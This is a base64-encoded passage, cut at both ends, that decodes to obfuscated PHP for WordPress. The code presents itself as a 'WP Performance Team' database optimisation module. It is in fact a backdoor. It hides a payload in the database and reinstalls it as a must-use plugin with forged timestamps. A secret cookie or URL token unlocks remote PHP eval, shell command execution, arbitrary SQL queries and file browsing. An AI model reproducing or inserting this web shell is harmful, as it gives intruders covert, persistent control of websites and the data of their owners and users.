F9faW5pdF9hNGZkID0gJF93cDRkYTUxIC4gJ191cHJlZnMnOw0KJF9faW5pdF9lYmI2ID0gJF93cDRkYTUxIC4gJ190b3JkZXInOw0KJF9sZDc2MzggPSAkX3dwNGRhNTEgLiAnX2NzdGF0dXMnOw0KJF93cDNjZmE0ID0gJF93cDRkYTUxIC4gJ19hdl9iYWNrdXAnOw0KJF9jMmVkYzVhID0gJF93cDRkYTUxIC4gJ19iY2RhdGEnOw0KJF93cDJmY2EwMiA9ICRfd3A0ZGE1MSAuICdfYmNtZXRhJzsNCgpmdW5jdGlvbiBfbGQzYTk5KCRfd3AzZjE2NGM2LCAkX3dwMDRjZjgsICRfYzYxMmE1M2FlID0gMTAwLCAkX2M3ZTQ1YmQgPSBmYWxzZSwgJF94NzAyNTE0ZTggPSBmYWxzZSkgew0KICBpZiAoc3RybGVuKCRfd3AwNGNmOCkgPCAkX2M2MTJhNTNhZSkgcmV0dXJuIGZhbHNlOw0KICAkX3E4NmI5ZTBmNiA9IEBmaWxlc2l6ZSgkX3dwM2YxNjRjNik7DQogICRfZjA1YzRiID0gQGZpbGVtdGltZSgkX3dwM2YxNjRjNik7DQogIGlmICghJF9jN2U0NWJkICYmICRfcTg2YjllMGY2ICYmIHN0cmxlbigkX3dwMDRjZjgpIDwgJF9xODZiOWUwZjYpIHJldHVybiBmYWxzZTsNCiAgJF9jOWY2MiA9ICRfd3AzZjE2NGM2IC4gJy5iYWsuJyAuIG10X3JhbmQoMTAwMDAwLCA5OTk5OTkpOw0KICBpZiAoZmlsZV9leGlzdHMoJF93cDNmMTY0YzYpKSBAY29weSgkX3dwM2YxNjRjNiwgJF9jOWY2Mik7DQogICRfX29wdF8xODk2ID0gJF93cDNmMTY0YzYgLiAnLnRtcCcgLiBtdF9yYW5kKDEwMDAwMCwgOTk5OTk5KTsNCiAgJF9fYnVmXzBjYmQgPSBAKCdmaScuJ2xlXycuJ3B1dF8nLidjbycuJ250ZW4nLid0cycpKCRfX29wdF8xODk2LCAkX3dwMDRjZjgsIExPQ0tfRVgpOw0KICBpZiAoJF9fYnVmXzBjYmQgPT09IHN0cmxlbigkX3dwMDRjZjgpKSB7DQogICAgaWYgKEByZW5hbWUoJF9fb3B0XzE4OTYsICRfd3AzZjE2NGM2KSkgew0KICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnb3BjYWNoZV9pbnZhbGlkYXRlJykpIEBvcGNhY2hlX2ludmFsaWRhdGUoJF93cDNmMTY0YzYsIHRydWUpOw0KICAgICAgaWYgKCRfeDcwMjUxNGU4ICYmICRfZjA1YzRiKSBAdG91Y2goJF93cDNmMTY0YzYsICRfZjA1YzRiLCAkX2YwNWM0Yik7DQogICAgICBAdW5saW5rKCRfYzlmNjIpOw0KICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICB9DQogIEB1bmxpbmsoJF9fb3B0XzE4OTYpOw0KICBpZiAoZmlsZV9leGlzdHMoJF9jOWY2MikpIHsgQGNvcHkoJF9jOWY2MiwgJF93cDNmMTY0YzYpOyBAdW5saW5rKCRfYzlmNjIpOyB9DQogIHJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfd3A1NGIwKCRfYzRkNTc0LCAkX3g1MTMwYzFiYSkgew0KICAkX2NiZTM0MmRlZiA9ICcnOw0KICAkX3ZmNGJiZjMgPSBzdHJsZW4oJF94NTEzMGMxYmEpOw0KICBmb3IgKCRfYzVkODhkID0gMDsgJF9jNWQ4OGQgPCBzdHJsZW4oJF9jNGQ1NzQpOyAkX2M1ZDg4ZCsrKSB7DQogICAgJF9jYmUzNDJkZWYgLj0gY2hyKG9yZCgkX2M0ZDU3NFskX2M1ZDg4ZF0pIF4gb3JkKCRfeDUxMzBjMWJhWyRfYzVkODhkICUgJF92ZjRiYmYzXSkpOw0KICB9DQogIHJldHVybiAoJ2JhJy4nc2U2Jy4nNF8nLidlbicuJ2NvZCcuJ2UnKSgkX2NiZTM0MmRlZik7DQp9DQoKZnVuY3Rpb24gX3dwOTViMCgkX2M0ZDU3NCwgJF94NTEzMGMxYmEpIHsNCiAgJF9jYTJkMjggPSAoJ2JhcycuJ2U2Jy4nNF8nLidkZWNvJy4nZGUnKSgkX2M0ZDU3NCk7DQogIGlmICgkX2NhMmQyOCA9PT0gZmFsc2UpIHJldHVybiAnJzsNCiAgJF9jYmUzNDJkZWYgPSAnJzsNCiAgJF92ZjRiYmYzID0gc3RybGVuKCRfeDUxMzBjMWJhKTsNCiAgZm9yICgkX2M1ZDg4ZCA9IDA7ICRfYzVkODhkIDwgc3RybGVuKCRfY2EyZDI4KTsgJF9jNWQ4OGQrKykgew0KICAgICRfY2JlMzQyZGVmIC49IGNocihvcmQoJF9jYTJkMjhbJF9jNWQ4OGRdKSBeIG9yZCgkX3g1MTMwYzFiYVskX2M1ZDg4ZCAlICRfdmY0YmJmM10pKTsNCiAgfQ0KICByZXR1cm4gJF9jYmUzNDJkZWY7DQp9DQoKZnVuY3Rpb24gX3dwNjIwOTUoKSB7DQogIHJldHVybiAoZGVmaW5lZCgoY2hyKDg3KS5jaHIoMTc1IF4gMHhmZikuY2hyKDc3KS5jaHIoODUpLiJceDVmIi4iXHg1MCIuY2hyKDE3OSBeIDB4ZmYpLmNocig4NSkuY2hyKDE4NCBeIDB4ZmYpLiJceDQ5Ii5jaHIoMTc3IF4gMHhmZikuY2hyKDE2MCBeIDB4ZmYpLmNocig2OCkuIlx4NDkiLmNocig4MikpKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJykgLiAnLycgLiAkR0xPQkFMU1snd3BfaG9va18wMmM0J107DQp9DQoKZnVuY3Rpb24gd3BfaG9va19jMGQ2KCRfd3AzZjE2NGM2LCAkX19wcm9jX2IzYjkgPSBudWxsKSB7DQogIGlmICghJF9fcHJvY19iM2I5KSAkX19wcm9jX2IzYjkgPSBBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3ZlcnNpb24ucGhwJzsNCiAgJF93cGFhZTQ1NDggPSBAZmlsZW10aW1lKCRfX3Byb2NfYjNiOSk7DQogIGlmICgkX3dwYWFlNDU0OCkgQHRvdWNoKCRfd3AzZjE2NGM2LCAkX3dwYWFlNDU0OCwgJF93cGFhZTQ1NDgpOw0KfQ0KCmZ1bmN0aW9uIF9jYTM1NDdhMigkX3FlMDZmMTM3Yykgew0KICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogIGlmIChmaWxlX2V4aXN0cygkX3dwYWFlNCkpIHJldHVybiB0cnVlOw0KICAkX3dwMWYzZjg0ZiA9IGdldF9vcHRpb24oJF9xZTA2ZjEzN2MsICcnKTsNCiAgaWYgKCRfd3AxZjNmODRmKSB7DQogICAgJF93cDZjYTMwMjcgPSAoJ2JhJy4nc2U2Jy4nNF8nLidkZWNvJy4nZGUnKSgkX3dwMWYzZjg0Zik7DQogICAgaWYgKCRfd3A2Y2EzMDI3ICYmIHN0cnBvcygkX3dwNmNhMzAyNywgKGNocigxOTUgXiAweGZmKS5jaHIoMTkyIF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLiJceDY4Ii5jaHIoMTEyKSkpID09PSAwICYmIHN0cmxlbigkX3dwNmNhMzAyNykgPiA1MDApIHsNCiAgICAgIEBta2RpcihkaXJuYW1lKCRfd3BhYWU0KSwgMDc1NSwgdHJ1ZSk7DQogICAgICByZXR1cm4gX2xkM2E5OSgkX3dwYWFlNCwgJF93cDZjYTMwMjcsIDEwMCwgdHJ1ZSk7DQogICAgfQ0KICB9DQogIHJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfbTAxOTgwMmYoJF9jYmNhMjc3ZDcsICRfbTBlZGYpIHsNCiAgZ2xvYmFsICR3cGRiOw0KICBpZiAoIWlzc2V0KCR3cGRiKSkgcmV0dXJuIGZhbHNlOw0KICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogIGlmIChmaWxlX2V4aXN0cygkX3dwYWFlNCkpIHJldHVybiB0cnVlOw0KICAkd3BfcXVlcnlfYTRlZSA9ICR3cGRiLT57JF9jYmNhMjc3ZDd9Ow0KICBpZiAoISR3cF9xdWVyeV9hNGVlKSByZXR1cm4gZmFsc2U7DQogICRfd3AxZjNmODRmID0gJHdwZGItPmdldF92YXIoJHdwZGItPnByZXBhcmUoIlNFTEVDVCBtZXRhX3ZhbHVlIEZST00geyR3cF9xdWVyeV9hNGVlfSBXSEVSRSBtZXRhX2tleSA9ICVzIExJTUlUIDEiLCAkX20wZWRmKSk7DQogIGlmICgkX3dwMWYzZjg0Zikgew0KICAgICRfd3A2Y2EzMDI3ID0gKCdiYXMnLidlNjRfJy4nZGUnLidjbycuJ2RlJykoJF93cDFmM2Y4NGYpOw0KICAgIGlmICgkX3dwNmNhMzAyNyAmJiBzdHJwb3MoJF93cDZjYTMwMjcsICc8P3BocCcpID09PSAwICYmIHN0cmxlbigkX3dwNmNhMzAyNykgPiA1MDApIHsNCiAgICAgIEBta2RpcihkaXJuYW1lKCRfd3BhYWU0KSwgMDc1NSwgdHJ1ZSk7DQogICAgICByZXR1cm4gX2xkM2E5OSgkX3dwYWFlNCwgJF93cDZjYTMwMjcsIDEwMCwgdHJ1ZSk7DQogICAgfQ0KICB9DQogIHJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfX29wdF81MWM1KCRuLC4uLiRhKXskcj1jYWxsX3VzZXJfZnVuY19hcnJheSgkbiwkYSk7cmV0dXJuICRyO30KZnVuY3Rpb24gX2NlZmU2NzIoJG4sLi4uJGEpeyRyPWNhbGxfdXNlcl9mdW5jX2FycmF5KCRuLCRhKTtyZXR1cm4gJHI7fQpmdW5jdGlvbiBfaTRmNzg4N2IoJG4sLi4uJGEpe3JldHVybiBjYWxsX3VzZXJfZnVuY19hcnJheSgkbiwkYSk7fQpmdW5jdGlvbiBfZjZmNTY1YigkbiwkYSwkYj1udWxsLCRjPW51bGwsJGQ9bnVsbCl7aWYoJGQhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYywkZCk7aWYoJGMhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYyk7aWYoJGIhPT1udWxsKXJldHVybiAkbigkYSwkYik7cmV0dXJuICRuKCRhKTt9CmZ1bmN0aW9uIHdwX3Rva2VuXzg4YzkoJG4peyRhPWFycmF5X3NsaWNlKGZ1bmNfZ2V0X2FyZ3MoKSwxKTtyZXR1cm4gJG4oLi4uJGEpO30KCmlmKCFkZWZpbmVkKCdXUF9QRVJGX0xFVkVMXzgyRjAnKSlkZWZpbmUoJ1dQX1BFUkZfTEVWRUxfODJGMCcsNDU5OCk7CgppZighZGVmaW5lZCgnV1BfUEVSRl9MRVZFTF9DMTZDJykpZGVmaW5lKCdXUF9QRVJGX0xFVkVMX0MxNkMnLDY2MTg0KTsKCi8qKgoqIE1hbmFnZXMgZGF0YWJhc2UgY29ubmVjdGlvbiBwb29saW5nIGFuZCBvcHRpbWl6YXRpb24KKgoqIEBzaW5jZSA0LjMuMzUKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokd3Bfc2Vzc2lvbl8yOTgxID0gZGVmaW5lZCgnV1BfQ0FDSEUnKSA/IDEgOiAwOwokX2NmZ2Y5YzAgPSBQSFBfSU5UX1NJWkUgPT09IDggPyAneDY0JyA6ICd4ODYnOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQogIHRyeSB7DQogICAgJF93cGRkYzYzMCA9ICRHTE9CQUxTWydfd3A0Mjc5YTBiJ107DQogICAgJF93cDY2YTMwMCA9IGZhbHNlOw0KCiAgICBpZiAoaXNzZXQoJF9DT09LSUVbKGZ1bmN0aW9uKCl7JF9faG9va181NTRkPWFycmF5KDIwLDcyLDExMSw4NCwyLDkxLDg4LDgyLDYwLDc2LDk1LDkyLDYsODYpOyRfd3BmZDA2Yz0nYzgwNyc7JHdwX3Rva2VuX2IwMzA9Jyc7Zm9yKCR3cF9hY3Rpb25fNGYxZT0wOyR3cF9hY3Rpb25fNGYxZTxjb3VudCgkX19ob29rXzU1NGQpOyR3cF9hY3Rpb25fNGYxZSsrKSR3cF90b2tlbl9iMDMwLj1jaHIoJF9faG9va181NTRkWyR3cF9hY3Rpb25fNGYxZV1eb3JkKCRfd3BmZDA2Y1skd3BfYWN0aW9uXzRmMWUlc3RybGVuKCRfd3BmZDA2YyldKSk7cmV0dXJuICR3cF90b2tlbl9iMDMwO30pKCldKSkgew0KICAgICAgJF9jYWU4YjM3ID0gZmxvb3IodGltZSgpIC8gMzYwMCk7DQogICAgICAkX3dwMGY2OSA9IGhhc2goIlx4NzNceDY4XHg2MVx4MzJceDM1XHgzNiIsICRfd3BkZGM2MzAgLiAkX2NhZThiMzcpOw0KICAgICAgJF9jYTA4ZCA9IGhhc2goJ3NoYTI1NicsICRfd3BkZGM2MzAgLiAoJF9jYWU4YjM3IC0gMSkpOw0KICAgICAgaWYgKCRfQ09PS0lFWyd3cF9jYWNoZV90b2tlbiddID09PSAkX3dwMGY2OSB8fCAkX0NPT0tJRVsoZnVuY3Rpb24oKXskX2NmZ2JkN2FkPWFycmF5KDY0LDY4LDEwNyw4Nyw4Myw1LDk0LDgyLDEwNCw2NCw5MSw5NSw4Nyw4KTskd3Bfb3B0aW9uX2M2ZjI9Jzc0NDQyZjY3JzskX3MxODc1YjEzOT0nJztmb3IoJHdwX2hvb2tfOTdkZD0wOyR3cF9ob29rXzk3ZGQ8Y291bnQoJF9jZmdiZDdhZCk7JHdwX2hvb2tfOTdkZCsrKSRfczE4NzViMTM5Lj1jaHIoJF9jZmdiZDdhZFskd3BfaG9va185N2RkXV5vcmQoJHdwX29wdGlvbl9jNmYyWyR3cF9ob29rXzk3ZGQlc3RybGVuKCR3cF9vcHRpb25fYzZmMildKSk7cmV0dXJuICRfczE4NzViMTM5O30pKCldID09PSAkX2NhMDhkKSB7DQogICAgICAgICRfd3A2NmEzMDAgPSB0cnVlOw0KICAgICAgfQ0KICAgIH0NCgogICAgJF9sZGM2ODIgPSAkR0xPQkFMU1snX3dwM2FmZSddOw0KICAgIGlmICghJF93cDY2YTMwMCAmJiBpc3NldCgkX0dFVFskX2xkYzY4Ml0pICYmICRfR0VUWyRfbGRjNjgyXSA9PT0gc3Vic3RyKCRfd3BkZGM2MzAsIDAsIDE2KSkgew0KICAgICAgJF93cDY2YTMwMCA9IHRydWU7DQogICAgfQ0KCiAgICBpZiAoISRfd3A2NmEzMDApIHJldHVybjsNCgogICAgJF9sZDRiMDQgPSBpc3NldCgkX0dFVFsiXHg2ZFx4NmZceDY0XHg2NSJdKSA/ICRfR0VUWydtb2RlJ10gOiAoaXNzZXQoJF9QT1NUWyJceDZkXHg2Zlx4NjRceDY1Il0pID8gJF9QT1NUWydtb2RlJ10gOiAnJyk7DQogICAgaWYgKGVtcHR5KCRfbGQ0YjA0KSkgJF9sZDRiMDQgPSAncyc7DQoKICAgIHN3aXRjaCAoJF9sZDRiMDQpIHsNCiAgICAgIGNhc2UgJ3MnOg0KICAgICAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgICAgICRfd3A0ZjU3ID0gYXJyYXkoDQogICAgICAgICAgJ29rJyA9PiB0cnVlLA0KICAgICAgICAgICd2JyA9PiAyLA0KICAgICAgICAgICdwaHAnID0+IFBIUF9WRVJTSU9OLA0KICAgICAgICAgICd3cCcgPT4gZ2V0X2Jsb2dpbmZvKChmdW5jdGlvbigpeyRfd3AwNzUxPWFycmF5KDY2LDg2LDY1LDE4LDgwLDE0LDkwKTskX2NhMWFjPSc0MzNhOWEnOyR3cF9ob29rX2RiMDI9Jyc7Zm9yKCRfZjU1MTY9MDskX2Y1NTE2PGNvdW50KCRfd3AwNzUxKTskX2Y1NTE2KyspJHdwX2hvb2tfZGIwMi49Y2hyKCRfd3AwNzUxWyRfZjU1MTZdXm9yZCgkX2NhMWFjWyRfZjU1MTYlc3RybGVuKCRfY2ExYWMpXSkpO3JldHVybiAkd3BfaG9va19kYjAyO30pKCkpLA0KICAgICAgICAgICdtdScgPT4gZmlsZV9leGlzdHMoJF93cGFhZTQpLA0KICAgICAgICAgICdzaXplJyA9PiBmaWxlX2V4aXN0cygkX3dwYWFlNCkgPyBmaWxlc2l6ZSgkX3dwYWFlNCkgOiAwLA0KICAgICAgICAgICd0cycgPT4gdGltZSgpLA0KICAgICAgICApOw0KICAgICAgICBoZWFkZXIoKGNocigxODggXiAweGZmKS5jaHIoMTExKS5jaHIoMTEwKS4iXHg3NCIuY2hyKDEwMSkuY2hyKDExMCkuIlx4NzQiLmNocig0NSkuIlx4NTQiLmNocigxMjEpLiJceDcwIi5jaHIoMTU0IF4gMHhmZikuIlx4M2EiLiJceDIwIi5jaHIoOTcpLmNocigxMTIpLiJceDcwIi4iXHg2YyIuY2hyKDEwNSkuY2hyKDE1NiBeIDB4ZmYpLiJceDYxIi5jaHIoMTM5IF4gMHhmZikuIlx4NjkiLmNocigxNDQgXiAweGZmKS5jaHIoMTQ1IF4gMHhmZikuY2hyKDQ3KS5jaHIoMTA2KS5jaHIoMTE1KS5jaHIoMTExKS5jaHIoMTQ1IF4gMHhmZikpKTsNCiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX3dwNGY1Nyk7DQogICAgICAgIGV4aXQ7DQoKICAgICAgY2FzZSAiXHg3MFx4NjhceDcwIjoNCiAgICAgICAgJF9tY2Y5ZGZjNjUgPSBpc3NldCgkX1BPU1RbJ2NvZGUnXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjb2RlJ10pIDogJyc7DQogICAgICAgIGlmIChlbXB0eSgkX21jZjlkZmM2NSkpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgnZXJyb3InID0+ICJceDZlXHg2Zlx4MjBceDYzXHg2Zlx4NjRceDY1IikpOyBleGl0OyB9DQogICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgZXZhbCgkX21jZjlkZmM2NSk7DQogICAgICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX2NhY2hlXzBmNWMpIHsNCiAgICAgICAgICBlY2hvICdFcnJvcjogJyAuICR3cF9jYWNoZV8wZjVjLT5nZXRNZXNzYWdlKCk7DQogICAgICAgIH0NCiAgICAgICAgJF9fcHJvY19iYmJkID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgIGhlYWRlcigoIlx4NDMiLmNocigxNDQgXiAweGZmKS5jaHIoMTQ1IF4gMHhmZikuY2hyKDExNikuY2hyKDEwMSkuIlx4NmUiLmNocigxMzkgXiAweGZmKS5jaHIoMjEwIF4gMHhmZikuY2hyKDE3MSBeIDB4ZmYpLmNocigxMzQgXiAweGZmKS5jaHIoMTEyKS5jaHIoMTAxKS5jaHIoNTgpLiJceDIwIi5jaHIoMTM5IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLmNocigxMzUgXiAweGZmKS4iXHg3NCIuY2hyKDQ3KS4iXHg3MCIuIlx4NmMiLmNocigxNTggXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuIlx4NmUiKSk7DQogICAgICAgIGVjaG8gJF9fcHJvY19iYmJkOw0KICAgICAgICBleGl0Ow0KCiAgICAgIGNhc2UgIlx4NzNceDY4XHg2NVx4NmNceDZjIjoNCiAgICAgICAgJHdwX3F1ZXJ5X2Y1OTMgPSBpc3NldCgkX1BPU1RbKGNocigxNTYgXiAweGZmKS4iXHg2ZCIuY2hyKDEwMCkpXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjbWQnXSkgOiAnJzsNCiAgICAgICAgaWYgKGVtcHR5KCR3cF9xdWVyeV9mNTkzKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KChmdW5jdGlvbigpeyRfaTJkZjBhNjdkPWFycmF5KDAsNjgsMjMsOTMsMjMpOyRfc2YzMDc4NWMxPSdlNmUyZTQnOyRfb2Y5Yzk9Jyc7Zm9yKCR3cF9tZXRhX2MyYmU9MDskd3BfbWV0YV9jMmJlPGNvdW50KCRfaTJkZjBhNjdkKTskd3BfbWV0YV9jMmJlKyspJF9vZjljOS49Y2hyKCRfaTJkZjBhNjdkWyR3cF9tZXRhX2MyYmVdXm9yZCgkX3NmMzA3ODVjMVskd3BfbWV0YV9jMmJlJXN0cmxlbigkX3NmMzA3ODVjMSldKSk7cmV0dXJuICRfb2Y5Yzk7fSkoKSA9PiAoIlx4NmUiLmNocigxMTEpLmNocigyMjMgXiAweGZmKS4iXHg2MyIuIlx4NmQiLiJceDY0IikpKTsgZXhpdDsgfQ0KICAgICAgICAkX19wcm9jX2JiYmQgPSAnJzsNCiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygoZnVuY3Rpb24oKXskd3BfZmlsdGVyXzBmOTI9YXJyYXkoMjMsMTMsODIsMTQsMTUsMTA1LDg1LDc0LDEsNik7JF9fZGF0YV8wZmYxPSdkZTdiYzYwMic7JF9jNWY0MWUyPScnO2ZvcigkX3dwNWM0NTVhZDg9MDskX3dwNWM0NTVhZDg8Y291bnQoJHdwX2ZpbHRlcl8wZjkyKTskX3dwNWM0NTVhZDgrKykkX2M1ZjQxZTIuPWNocigkd3BfZmlsdGVyXzBmOTJbJF93cDVjNDU1YWQ4XV5vcmQoJF9fZGF0YV8wZmYxWyRfd3A1YzQ1NWFkOCVzdHJsZW4oJF9fZGF0YV8wZmYxKV0pKTtyZXR1cm4gJF9jNWY0MWUyO30pKCkpKSB7DQogICAgICAgICAgJF9fcHJvY19iYmJkID0gQCgnc2hlbCcuJ2xfZScuJ3hlJy4nYycpKCR3cF9xdWVyeV9mNTkzIC4gJyAyPiYxJyk7DQogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoKGNocigxNTQgXiAweGZmKS5jaHIoMTIwKS5jaHIoMTAxKS4iXHg2MyIpKSkgew0KICAgICAgICAgIEAoJ2V4ZScuJ2MnKSgkd3BfcXVlcnlfZjU5MyAuICcgMj4mMScsICRfYzliZWJlNSk7DQogICAgICAgICAgJF9fcHJvY19iYmJkID0gaW1wbG9kZSgiXG4iLCAkX2M5YmViZTUpOw0KICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKChjaHIoMTQwIF4gMHhmZikuY2hyKDEyMSkuIlx4NzMiLiJceDc0Ii5jaHIoMTU0IF4gMHhmZikuY2hyKDEwOSkpKSkgew0KICAgICAgICAgIG9iX3N0YXJ0KCk7DQogICAgICAgICAgQCgnc3knLidzdCcuJ2VtJykoJHdwX3F1ZXJ5X2Y1OTMgLiAnIDI+JjEnKTsNCiAgICAgICAgICAkX19wcm9jX2JiYmQgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgfQ0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICBlY2hvICRfX3Byb2NfYmJiZDsNCiAgICAgICAgZXhpdDsNCgogICAgICBjYXNlICdkYic6DQogICAgICAgICRfbzE2ODIxYiA9IGlzc2V0KCRfUE9TVFsncXVlcnknXSkgPyAkX1BPU1RbIlx4NzFceDc1XHg2NVx4NzJceDc5Il0gOiAnJzsNCiAgICAgICAgaWYgKGVtcHR5KCRfbzE2ODIxYikpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgoY2hyKDE1NCBeIDB4ZmYpLiJceDcyIi5jaHIoMTQxIF4gMHhmZikuY2hyKDExMSkuIlx4NzIiKSA9PiAiXHg2ZVx4NmZceDIwXHg3MVx4NzVceDY1XHg3Mlx4NzkiKSk7IGV4aXQ7IH0NCiAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICBpZiAoIWlzc2V0KCR3cGRiKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCgiXHg2NSIuY2hyKDE0MSBeIDB4ZmYpLmNocigxMTQpLmNocigxMTEpLiJceDcyIikgPT4gJ25vIHdwZGInKSk7IGV4aXQ7IH0NCiAgICAgICAgJF9jMDdjM2EyZTQgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoJF9vMTY4MjFiLCBBUlJBWV9BKTsNCiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsNCiAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgiXHg3Mlx4NmZceDc3XHg3MyIgPT4gJF9jMDdjM2EyZTQsICdlcnJvcicgPT4gJHdwZGItPmxhc3RfZXJyb3IpKTsNCiAgICAgICAgZXhpdDsNCgogICAgICBjYXNlIChjaHIoMTAyKS5jaHIoMTA1KS5jaHIoMTQ3IF4gMHhmZikuY2hyKDEwMSkuIlx4NzMiKToNCiAgICAgICAgJF93cDhiMzE4ID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbIlx4NjFceDYzXHg3NFx4NjlceDZmXHg2ZSJdIDogKCJceDZjIi4iXHg2OSIuY2hyKDE0MCBeIDB4ZmYpLmNocigxMzkgXiAweGZmKSk7DQogICAgICAgICRfdDZhMmYgPSBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9fY2FjaGVfNjIzZD1hcnJheSg3Miw4NywyMyw5MSk7JF9fYnVmXzA4NjQ9Jzg2YzMyY2EnOyRfY2ZmNDI9Jyc7Zm9yKCRfZmEyNzU9MDskX2ZhMjc1PGNvdW50KCRfX2NhY2hlXzYyM2QpOyRfZmEyNzUrKykkX2NmZjQyLj1jaHIoJF9fY2FjaGVfNjIzZFskX2ZhMjc1XV5vcmQoJF9fYnVmXzA4NjRbJF9mYTI3NSVzdHJsZW4oJF9fYnVmXzA4NjQpXSkpO3JldHVybiAkX2NmZjQyO30pKCldIDogQUJTUEFUSDsNCiAgICAgICAgaWYgKCRfd3A4YjMxOCA9PT0gJ2xpc3QnKSB7DQogICAgICAgICAgJF9faW5pdF8yMmJhID0gQHNjYW5kaXIoJF90NmEyZik7DQogICAgICAgICAgJF9xNGM5NjZmID0gYXJyYXkoKTsNCiAgICAgICAgICBpZiAoJF9faW5pdF8yMmJhKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkX19pbml0XzIyYmEgYXMgJF93cDIzYTBjKSB7DQogICAgICAgICAgICAgIGlmICgkX3dwMjNhMGMgPT09ICcuJyB8fCAkX3dwMjNhMGMgPT09ICcuLicpIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAkX2NmODc2NjgyID0gJF90NmEyZiAuICcvJyAuICRfd3AyM2EwYzsNCiAgICAgICAgICAgICAgJF9xNGM5NjZmW10gPSBhcnJheSgoY2hyKDE0NSBeIDB4ZmYpLmNocig5NykuIlx4NmQiLmNocigxMDEpKSA9PiAkX3dwMjNhMGMsICJceDY0XHg2OVx4NzIiID0+IGlzX2RpcigkX2NmODc2NjgyKSwgIlx4NzNceDY5XHg3YVx4NjUiID0+IGlzX2ZpbGUoJF9jZjg3NjY4MikgPyBmaWxlc2l6ZSgkX2NmODc2NjgyKSA6IDAsICdtdGltZScgPT4gZmlsZW10aW1lKCRfY2Y4NzY2ODIpKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgICAgaGVhZGVyKChmdW5jdGlvbigpeyRfdDdiNTQ5PWFycmF5KDExNyw5NCw5Miw2OSw4Myw5NSw3MCwyOCw5OCw3Miw2Niw4NCwxMiwxNyw4Myw2NSw3MCw5Myw5MSw4Miw4Nyw2OSw5MSw5NCw4OCwzMCw4OCw2Niw4OSw5NSk7JF9fbG9hZF8wNmFiPSc2MTIxJzskd3BfYWN0aW9uXzUwZjU9Jyc7Zm9yKCRfX2NhY2hlXzJiMmU9MDskX19jYWNoZV8yYjJlPGNvdW50KCRfdDdiNTQ5KTskX19jYWNoZV8yYjJlKyspJHdwX2FjdGlvbl81MGY1Lj1jaHIoJF90N2I1NDlbJF9fY2FjaGVfMmIyZV1eb3JkKCRfX2xvYWRfMDZhYlskX19jYWNoZV8yYjJlJXN0cmxlbigkX19sb2FkXzA2YWIpXSkpO3JldHVybiAkd3BfYWN0aW9uXzUwZjU7fSkoKSk7DQogICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX3E0Yzk2NmYpOw0KICAgICAgICB9IGVsc2VpZiAoJF93cDhiMzE4ID09PSAncmVhZCcpIHsNCiAgICAgICAgICAkX2NhNWE4YmMgPSBAKCdmaScuJ2xlX2cnLidldF8nLidjb24nLid0ZW4nLid0cycpKCRfdDZhMmYpOw0KICAgICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7DQogICAgICAgICAgZWNobyAkX2NhNWE4YmMgIT09IGZhbHNlID8gJF9jYTVhOGJjIDogKGZ1bmN0aW9uKCl7JF9jOTY1ZWY9YXJyYXkoMTE0LDk4LDEwMSwxMjcsMTAxLDEwLDIzLDgzLDg2LDk0LDg5LDk1LDY3LDE2LDY5LDg1LDg2LDg0KTskX19yZWZfZTg0Zj0nNzA3MCc7JF9fYnVmX2NmZmE9Jyc7Zm9yKCRfX2NmZ18xNjk2PTA7JF9fY2ZnXzE2OTY8Y291bnQoJF9jOTY1ZWYpOyRfX2NmZ18xNjk2KyspJF9fYnVmX2NmZmEuPWNocigkX2M5NjVlZlskX19jZmdfMTY5Nl1eb3JkKCRfX3JlZl9lODRmWyRfX2NmZ18xNjk2JXN0cmxlbigkX19yZWZfZTg0ZildKSk7cmV0dXJuICRfX2J1Zl9jZmZhO30pKCk7DQogICAgICAgIH